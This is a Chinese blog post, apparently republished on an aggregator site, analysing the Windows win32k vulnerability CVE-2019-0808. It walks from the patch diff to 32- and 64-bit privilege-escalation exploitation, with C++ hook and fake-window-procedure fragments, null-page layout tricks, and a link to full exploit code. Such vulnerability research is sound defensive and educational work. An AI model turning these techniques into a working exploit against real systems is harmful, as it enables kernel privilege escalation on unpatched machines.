CVE-2019-0808

Posted dreamoneonly

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2019-0808相关的知识,希望对你有一定的参考价值。

CVE-2019-0808

漏洞成因及触发

通过搜索资料了解到CVE-2019-0808的漏洞函数位于win32k!xxxMNFindWindowFromPoint,为了了解漏洞成因,我们先分析一下补丁是如何修复的。

补丁对比

通过BinDiff对比可以看到在HMValidateHandleNoSecure后额外添加了一个safe_cast_fnid_to_PMENUWND函数对返回的tagWND对象进行校验,而不是仅仅判断tagWND是否为0。

技术图片

补丁细节

通过下面代码可以看到在补丁后,首先通过safe_cast_fnid_to_PMENUWND检查了窗口对象是否为FNID_MENU(fnid = 0x29C),如果通过safe_cast_fnid_to_PMENUWND检查(表明这的确是一个类为#32768的菜单窗口对象),那么将会对tagWND->cbWndExtra和其指向的tagPOPUPMENU->spMenu进行检查,这里对菜单窗口的解释引用一下琦哥的文章? ??

在 Windows 内核中,菜单对象在屏幕中的显示通过窗口 tagWND 对象的特殊类型 #32768(MENUCLASS) 菜单窗口对象来实现,菜单窗口对象末尾的扩展区域中存储指向关联的弹出菜单 tagPOPUPMENU 对象的指针

技术图片

unsigned int __stdcall safe_cast_fnid_to_PMENUWND(tagWND *a1)
{
  unsigned int result; // eax

  if ( a1 )
    result = (a1->fnid & 0x3FFF) == 0x29C ? (unsigned int)a1 : 0;
  else
    result = 0;
  return result;
}
v7 = (tagWND *)safe_cast_fnid_to_PMENUWND(v6);
if ( !v7 )
	return 0;
v8 = (tagPOPUPMENU *)v7[1].head.h;
if ( !v8 || !v8->spmenu )
return 0;

思考

为什么在补丁后对tagWND做了额外的校验,通过向上观察代码可以发现,这个窗口句柄是通过调用xxxSendMessagetagPOPUPMENU->spwndNextPopup发送MN_FINDMENUWINDOWFROMPOINT消息后返回的,那么我们是不是可以通过修改tagPOPUPMENU->spwndNextPopup的窗口处理函数来返回一个伪造的窗口句柄。

  1. 为什么是给tagPOPUPMENU->spwndNextPopup发送消息?
    • 在IDA中通过交叉引用可以看到漏洞函数win32k!xxxMNFindWindowFromPoint是由win32k!xxxMNMouseMove调用的,而win32k!xxxMNMouseMove是菜单窗口过程处理函数用来处理鼠标在菜单内移动的消息,如果此时鼠标由主弹出菜单移动到了子弹出菜单,那么在win32k!xxxMNFindWindowFromPoint内部就会通过xxxSendMessage对子弹出菜单发送消息来获取子弹出菜单的句柄,用来在后续代码中对子弹出菜单发送消息来完成绘制和鼠标选中等效果。

技术图片

  1. 创建合适的弹出菜单

    • 如果我们按照如下的代码创建了一个包含子弹出菜单hMenuSub的弹出菜单hMenuRoot,至于下面为什么要将菜单dwStyle设置为MNS_DRAGDROP,我们后面漏洞利用时再展开,设置MNS_MODELESS是因为模态对话框会导致其他用户界面对象接收不到消息。
    HMENU hMenuRoot = CreatePopupMenu();
    HMENU hMenuSub = CreatePopupMenu();
    
    
    MENUINFO mi = { 0 };
    mi.cbSize = sizeof(MENUINFO);
    mi.fMask = MIM_STYLE;
    mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;			 //非模态菜单
    SetMenuInfo(hMenuRoot, &mi);
    SetMenuInfo(hMenuSub, &mi);
    
    AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
    AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");
    
    • 虽然菜单创建完成了,但是并不能显示在桌面上,由下图可以看到CreatePopupMenu只是初始化了tagMENU结构体,但是想要在桌面上显示还需要一个tagWND窗口对象作为媒介来传递消息,就像上面说的是通过一个类为#32768的窗口对象来显示菜单,在应用层可以使用TrackPopupMenuEx(已文档化)来显示。

技术图片

? 修改后的代码及运行效果如下:

技术图片

技术图片

  1. TrackPopupMenuEx

那么在TrackPopupMenuEx内部是如何实现对弹出菜单的管理以及我们应该在何地何时劫持MN_FINDMENUWINDOWFROMPOINT消息并返回伪造的窗口对象呢,接下来我们开始简单分析一下TrackPopupMenuEx内部实现xxxTrackPopupMenuEx

  • xxxTrackPopupMenuEx内部通过xxxCreateWindowEx为弹出菜单对象创建了一个类型为#32768的窗口对象,在tagWND的末尾拓展区域存放了一个tagPOPUPMENU结构,并对tagPOPUPMENU进行初始化

技术图片

  • 然后创建了一个tagMENUSTATE结构体用来描述弹出菜单的各种状态
menuState = xxxMNAllocMenuState(v23, v22, v17);
  • 在最后通过xxxWindowEvent向用户层发送EVENT_SYSTEM_MENUPOPUPSTART(0x6)事件消息通知应用层的事件回调,微软文档介绍如下,在应用层可以通过SetWinEventHook来注册
EVENT_SYSTEM_MENUPOPUPSTART
(0x0006)
A pop-up menu has been displayed. The system sends this event for standard menus, which are identified by HMENU, and are created using menu-template resources or Win32 menu functions. Servers send this event for custom menus, which are user interface elements that function as menus but are not created in the standard way. This event is not sent consistently by the system.

技术图片

  • 通过在WinDbg中跟踪发现这里的xxxWindowEvent并没有立即调用用户回调,而是采用异步的方式放入了消息队列,这里猜测是因在应用层调用TrackPopupMenuEx时还没有执行到应用层的消息循环,因此在xxxTrackPopupMenuEx内部发送的一系列创建显示弹出菜单的消息还在消息队列还没有被窗口过程处理,所以xxxWindowEvent采用的异步的方式等到弹出菜单真正被创建时才调用的用户回调。
  • 我们在Windbg中观察一下在xxxTrackPopupMenuEx中完成对tagPOPUPMENU初始化后的情况,通过下图可以看到xxxTrackPopupMenuEx已经为hMenuRoot创建了一个#32768窗口(spwndPopupMenu),但是spwndNextPopup却为空,不知道大家还记得上面在思考这章开头,在win32k!xxxMNFindWindowFromPoint中调用xxxSendMessage是给哪个窗口发送的消息,没错就是给spwndNextPopup窗口,但是这里为什么spwndNextPopup域却为空呢?其实很简单,我们在桌面右键显示弹出菜单的时候,初始状态由于我们鼠标没有移到含有子弹出菜单的菜单项上(如查看项),默认是不会显示的。

技术图片

  1. 返回伪造窗口的时机

通过上面的分析,我们已经有了一个大概的思路:

  • 首先通过SetWinEventHook注册EVENT_SYSTEM_MENUPOPUPSTART类型的事件回调,在xxxTrackPopupMenuEx内部向消息队列放入弹出菜单创建的事件的消息后,会在TrackPopupMenuEx执行完后我们的消息循环中进行触发,因此第一次进入我们的事件回调时是hMenuRoot的绘制完成的时候
  • 这时我们在事件回调中给当前菜单窗口句柄(也就是xxxTrackPopupMenuEx内部创建的#32768窗口)发送一个WM_LBUTTONDOWN消息(这里既是为了创建并显示子弹出菜单也是为了配合后面鼠标移动的消息形成拖拽动作,具体原因在后面利用再详细解释),这时就会触发子弹出菜单的显示(这里要注意给子弹出菜单创建#32768窗口是在处理WM_LBUTTONDOWN消息的过程中,而不是在xxxTrackPopupMenuEx中)
  • 由于子弹出菜单的创建,因此会第二次进入到我们的事件回调,这时我们向子弹出菜单发送一个 WM_MOUSEMOVE消息,此时会形成一个从rootsub的拖拽动作,具体代码具体为如下:

技术图片

  • 如果我们在漏洞函数win32k!xxxMNFindWindowFromPoint下过断点,在发送WM_MOUSEMOVE后就会断下,此时堆栈如下:
1: kd> k
 # ChildEBP RetAddr  
00 95a6ba28 8364943c win32k!xxxMNFindWindowFromPoint
01 95a6ba64 83649066 win32k!xxxMNMouseMove+0x4d
02 95a6bac0 8367e233 win32k!xxxHandleMenuMessages+0x2ed
03 95a6bafc 8364e4a4 win32k!xxxCallHandleMenuMessages+0x8d
04 95a6bb54 835c94f3 win32k!xxxMenuWindowProc+0x125
05 95a6bb94 83589709 win32k!xxxSendMessageTimeout+0x1ac
06 95a6bbbc 83596330 win32k!xxxWrapSendMessage+0x1c
07 95a6bbd8 835cb4cd win32k!NtUserfnNCDESTROY+0x27
08 95a6bc10 83e541ea win32k!NtUserMessageCall+0xc9
09 95a6bc10 77c970b4 nt!KiFastCallEntry+0x12a
0a 004cfa84 760b4f51 ntdll!KiFastSystemCallRet
0b 004cfa88 760b0940 USER32!NtUserMessageCall+0xc
0c 004cfac4 760b5582 USER32!SendMessageWorker+0x546
0d 004cfae4 000cfbec USER32!SendMessageW+0x7c
  • 我当时分析时立马产生了一个想法,我们是不是可以就在这次进入漏洞函数win32k!xxxMNFindWindowFromPoint时返回伪造的窗口句柄呢,马上测试,我们首先在应用层通过SetWindowsHookEx注册一个窗口过程回调(WH_CALLWNDPROC),在回调中我们判断是否为MN_FINDMENUWINDOWFROMPOINT消息,如果是则通过SetWindowLongPtr替换子菜单窗口的窗口过程,并在我们的窗口过程中返回事先已经创建好的伪造#32768窗口,具体代码如下:

//////////////////////////////////////////////////////////////////////////////////
//
// SetWindowsHookEx‘s handler
//

LRESULT CALLBACK CallWndProc(
	_In_ int    nCode,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
)
{
	PCWPSTRUCT msg = (PCWPSTRUCT)lParam;

	//__debugbreak();

	if (msg->message == MN_FINDMENUWINDOWFROMPOINT)
	{
		cout << "msg: 0x" << hex << msg->message;
		cout << "	hwnd: 0x" << hex << msg->hwnd;

		auto hwnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(msg->hwnd, NULL);
		cout << "	hwnd_kernel: 0x" << hex << hwnd_kernel << endl;

		SetWindowLongPtr(msg->hwnd, GWLP_WNDPROC, (ULONG_PTR)FakeWindowProc);

	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
//////////////////////////////////////////////////////////////////////////////////
//
// FakeWindowsProcedure for hMenuSub‘s tagMenuWnd
//

LRESULT CALLBACK FakeWindowProc(
	_In_ HWND   hwnd,
	_In_ UINT   uMsg,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
) 
{
	if (uMsg == MN_FINDMENUWINDOWFROMPOINT)
	{
		SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc);

		return (LRESULT)g_fakeWnd;
	}
	
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
  • WinDbg中观察xxxSendMessage发送MN_FINDMENUWINDOWFROMPOINT消息后返回的窗口句柄,从下图可以看到已经被替换为我们创建的伪造窗口句柄,那我们是不是已经触发漏洞了的,但其实只能说触发了一半,为啥呢?

技术图片

技术图片

  • 虽然我们已经成功替换了菜单窗口,并由xxxMNFindWindowFromPoint返回给上层函数xxxMNMouseMove,但在xxxMNMouseMove中检查了tagMENUSTATEfInDoDragDrop标志位是否置位,才会进入xxxMNUpdateDraggingInfo函数,只有xxxMNUpdateDraggingInfo这个函数里面才使用了xxxMNFindWindowFromPoint返回的tagWND->tagPOPUPMENU->spMenu域,而这个spMenu在我们自己创建的#32768窗口中是没有初始化的,也就是为0,在Win7中我们是可以通过申请零地址页面来控制这块数据的,因此现在的关键就是要在xxxMNFindWindowFromPoint之后进入xxxMNUpdateDraggingInfo函数,也就等价于要将fInDoDragDrop置位。

技术图片

技术图片

  • 通过网上公开的分析资料了解到可以通过手动调用NtUserMNDragOvertagMENUSTATE中的fInDoDragDrop置位并进入xxxMNMouseMove函数,所以上面我的猜想(在第二次触发事件回调时发送WM_MOUSEMOVE消息并返回伪造的窗口句柄)虽然可以成功在xxxSendMessage后返回伪造的窗口句柄,但并不会进入xxxMNUpdateDraggingInfo函数因而无法进行利用。

技术图片

  • 因此我们需要定义一个全局变量来控制我们该何时在窗口过程回调中替换子菜单窗口的窗口过程,因为在第二次事件回调中由于我们发送了WM_MOUSEMOVE,所以会触发xxxSendMessage来发送MN_FINDMENUWINDOWFROMPOINT消息(上面已经贴出了处理WM_MOUSEMOVE消息的调用堆栈),这会被我们的窗口过程回调所捕获,因此我们需要这个全局变量来控制第一次进入窗口过程回调时不采取任何动作,而是在我们手动调用NtUserMNDragOver后进入xxxMNMouseMove->xxxMNFindWindowFromPoint->xxxSendMessage时替换子菜单窗口的窗口过程,因此我们的窗口过程回调需要稍作修改,并在手动调用NtUserMNDragOver前将全局变量bOnDrag置1:
//////////////////////////////////////////////////////////////////////////////////
//
// SetWindowsHookEx‘s handler
//

LRESULT CALLBACK CallWndProc(
	_In_ int    nCode,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
)
{
	PCWPSTRUCT msg = (PCWPSTRUCT)lParam;

	//__debugbreak();

	if (msg->message == MN_FINDMENUWINDOWFROMPOINT && bOnDrag)
	{
		cout << "msg: 0x" << hex << msg->message;
		cout << "	hwnd: 0x" << hex << msg->hwnd;

		auto hwnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(msg->hwnd, NULL);
		cout << "	hwnd_kernel: 0x" << hex << hwnd_kernel << endl;

		SetWindowLongPtr(msg->hwnd, GWLP_WNDPROC, (ULONG_PTR)FakeWindowProc);

	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
	MSG msg = { 0 };
	while (GetMessage(&msg,NULL,NULL,NULL))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);

		if (g_MenuCreate == 2)
		{
			bOnDrag = true;
			POINT pt;
			char buf[100];
			pt.x = 2;
			pt.y = 2;

			//__debugbreak();

			NtUserMNDragOver(&pt, buf);
			g_MenuCreate++;
			break;
		}
	}

32位利用

经过上面分析和修改相应代码后,我们在xxxMNUpdateDraggingInfo中下断就已经可以断下了,我们先来分析一下32位上的利用,x64上大同小异,只有在绕过比较时会有少许不同,我们后面再讲。

xxxMNUpdateDraggingInfo进行简单的静态分析可以发现,我们需要解决的问题主要有以下几个,我们接下来一个一个解决。

技术图片

第一个问题

首先第一个问题是我们在调用MNGetpItem时,我们如何知道它的第二个参数v3->uDraggingIndex的值,并且如何确保MNGetpItem的返回值v8不为零并且为我们想要任意写的地址减4,这本来是第6个问题的,先提前在这里讲一下,在xxxMNSetGapState中也调用了MNGetpItem,并且如果v3->uDraggingFlags = 2(第5个问题)时,会对MNGetpItem的(返回值+4)进行一个或上0x40000000的操作,因此我们在第6个步骤中获得了一个任意地址或上0x40000000的能力,这个可以进一步转化为越界写,后面再细讲,我们先分析一下MNGetpItem的内部实现:

技术图片

由于我们在xxxMNFindWindowFromPoint->xxxSendMessage返回了一个伪造的未经初始化的菜单窗口对象,其窗口拓展区域存储的tagPOPUPMENU对象也是未经初始化的,即tagPOPUPMENU->spmenu成员 为0,因此我们可以在应用层通过ZwAllcoateVirtualMemory申请0地址页面,从而就可以控制上面MNGetpItem中的执行逻辑,在上面我们提到了我们要使MNGetpItem返回不为0并且为我们想要任意写的地址减4的值,因此我们就需要在地址0x20的位置设置一个大于uDraggingIndex的值,那么uDraggingIndex又等于多少,我们能在应用层知道吗,通过向上回溯,发现uDraggingIndex是在xxxMNFindWindowFromPoint->xxxSendMessage作为第三个参数传入的,因此我们可以在应用层FakeWindowProc窗口回调中得到uDraggingIndex的值,并且设置零地址页面数据的操作也要在此进行,因为只有在这里我们才能确定uDraggingIndex的值,才能准确计算任意写的地址,FakeWindowProc代码如下:

//////////////////////////////////////////////////////////////////////////////////
//
// FakeWindowsProcedure for hMenuSub‘s tagMenuWnd
//

LRESULT CALLBACK FakeWindowProc(
	_In_ HWND   hwnd,
	_In_ UINT   uMsg,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
) 
{
	if (uMsg == MN_FINDMENUWINDOWFROMPOINT)
	{
		SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc);

		cout << "wParam:0x" << hex << *(PULONG)wParam << endl;	

		g_uDraggingIndex = *(PULONG)wParam ;
		SetNullPageData();

		return (LRESULT)g_fakeWnd;
	}
	
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

技术图片

再回来继续观察MNGetpItem的代码,现在我们能够准确得到uDraggingIndex的值了,因此我们只需要将地址0x20的值设置为大于uDraggingIndex就可以绕过if判断,但是为什么我要设置为uDraggingIndex + 1呢,具体原因在第6个问题里面再讲,可以看到MNGetpItem最终的返回值计算方式为result = (tagITEM *)(*(_DWORD *)(NullPage + 0x34) + 0x6C * uDraggingIndex),因此地址0x34的位置的值(即下图的offset1)要为我们想任意写地址减去0x6C * uDraggingIndex再减去4,在下图可以看到offset1 = g_primaryWnd - g_uDraggingIndex * 0x6C + 0x90 -0x4;即想任意写的地址为g_primaryWnd + 0x90,即为tagWND->cbWndExtra,讲到这里大家可能已经明白了,我们是想通过修改tagWND->cbWndExtra来通过SetWindowLongPtr来进行越界写,因此在最初我就创建了0x100个窗口,并取了最后两个窗口作为操作对象。

技术图片

技术图片

第四个问题

由于第一个问题解决后,因此MNGetpItem返回值是大于零的,第二个问题解决,

第三个问题是要保证v8+20表示的地址能够正确访问,由于v8 = g_primaryWnd + 0x90 -0x4的(见上面对offset1的计算),而由于通过SparyWindow函数进行了连续申请,因此g_secondWndg_primaryWnd是紧紧相邻的,因此v8+20地址处肯定是可以访问的,第三个问题解决,

这里来到最重要的第四个问题,简单的来说就是我们要使地址addr1 = 0x6C * *(0x4C) + *(0x34) + 0x28可以访问(后面简称addr1),并且要使v10的值大于后面两个if判断中的值(即第5个问题)才能使到达v3->uDraggingFlags = 2;,为什么要使uDraggingFlags = 2上面已经讲过了,因此我这里产生了一个想法,如果我能够使addr1通过整数溢出重定位到0地址附近是不是就可以由我们控制了呢?

现在我们来简化一下addr1的算式,由于*(0x34) = offset1(见下图),因此addr1 = 0x6C * offset2 + offset1 + 0x28,如果我们想把addr1重定位为0x28地址只需offset2 = (0 - offset1)/0x6C(offset1是已知的),但是这里可能会出现一种情况,就是(0 - offset1)/0x6C无法除尽,有余数,这样的话addr1最后计算出来就有可能在[-0x44,0x28]之间浮动,如果addr1落在了[-0x44,0)这个区间,这个地址肯定是不可读的,因此肯定会蓝屏,因此如下图所示offset2 = (0 - offset1)/0x6C+2,对offset2额外进行了+2,因此落入的区间肯定是在0地址往后,至于为什么不是+1,其实我一开始是+1的,后面发现+1的addr1可能落在区间[0x28,0x94),因此有一定几率覆盖offset1,从而导致在第三个问题那里发生访问异常。offset2确定后,addr1的位置就可以计算了,算式如下图*(PULONG_PTR)(NullPage + 0x28 + (2 * 0x6C - offset2_remainder)) = 0x7ffffffe,即减去(0 - offset1)/0x6C的余数即可,至于为什么设置为0x7ffffffe,是因为第5个问题那里是进行的有符号数比较,那为什么不是0x7fffffff?,你设置为0x7fffffff调试一下就知道了? ??

技术图片

第六个问题

在四个问题中我们同时解决了第五个问题,现在我们来看一下最后一个问题即xxxMNSetGapState,在上面可以看到总共调用了两次xxxMNSetGapState,由于第一次参数fSet = 0,不会触发与操作(见下图),因此我们主要关注第二次xxxMNSetGapState调用,由于上面我们已经解决了第五个问题,uDraggingFlags = 2 | 4 = 6,因此最终会走到下图红框处*(v6 + 4) |= 0x40000000uv6MNGetpItem的返回值,我们已经通过计算使其等于待写地址减4,因此*(v6 + 4) |= 0x40000000u将会导致一次任意地址或上0x40000000的操作,上面我说过我们将地址0x20处设置为g_uDraggingIndex + 1,这里就可以解释了,因为设置为g_uDraggingIndex + 1可以在xxxMNSetGapState中第一次调用MNGetpItem时可以返回非0值,第二次返回0(见上面对MNGetpItem的分析),至于为什么要第二次返回为0,是因为不想执行下图的v8->fState |= 0x80000000,因为这有可能破坏待写地址+0x6C的值,当然不一定会蓝屏,但总归有一定风险。

技术图片

解决上面所有问题后,我们在WinDbg中观察一下g_primaryWnd ->cbWndExtra字段

技术图片

技术图片

利用

现在我们已经修改g_primaryWnd ->cbWndExtra字段后,问题就很简单了,我们可以通过SetWindowLongPtr来越界修改g_secondWndlpfnWndProc 字段,因为g_secondWndbServerSideWindowProc是置一的,其默认窗口过程为win32k!xxxDefWindowProc,即是运行在内核态的,因此我们就可以在修改g_secondWndlpfnWndProc 字段后,随即向g_secondWnd发送一个消息触发其窗口过程,然后我们在窗口过程中完成提权操作。

技术图片

技术图片

提权演示如下

技术图片

64位利用

64位利用除了在零地址页面布局有些许不同,其他的利用步骤基本一致,只需改一下某些偏移并将ShellCode在单独的asm文件实现

技术图片

这里主要讲一下在零地址布局遇到的问题,在32位利用时我提到了将addr1重定位到零地址附近,但是这在64位上却不行了,经过分析发现原因如下,offset2只取了低32位,而在64中由于offset1在内核地址过大,在除以0x90后得到的offset2是超过32位的,因此在下图只取了低32位是无法重定位到0地址附近的,因为重定位到0地址附近是依靠整数溢出的。

技术图片

因此我换了一种思路,虽然无法重定位0地址附近,但是我们可以控制其位于内核固定的某个位置0x90附近浮动,所以我改了一下32位利用时的SparyWindow函数,在最后加上了一个窗口拓展区域大小为0x90的窗口(如下图),因此这个窗口g_prepareToRead地址肯定是在g_secondWnd之后并且紧挨着或者相隔不远,因此我在零地址布局时通过SetWindowLongPtr将其窗口拓展区域全部设置为0x7777777777777777,因为是有符号比较并且不想计算具体会位于窗口拓展的哪个位置,干脆就全部设置为7算了,免的设置为大于7的万一命中后成负数了。其他的基本和32位利用一致

技术图片

技术图片

提权演示如下

技术图片

参考

https://xiaodaozhi.com/exploit/122.html

https://github.com/ze0r/cve-2019-0808-poc

http://blog.exodusintel.com/2019/05/17/windows-within-windows/

写在最后

想把分析时所有的想法和思路跃然纸上真的是一个技术活,甚至比分析本身更难? ??

利用代码:https://github.com/DreamoneOnly/CVE-2019-0808-32-64-exp

以上是关于CVE-2019-0808的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数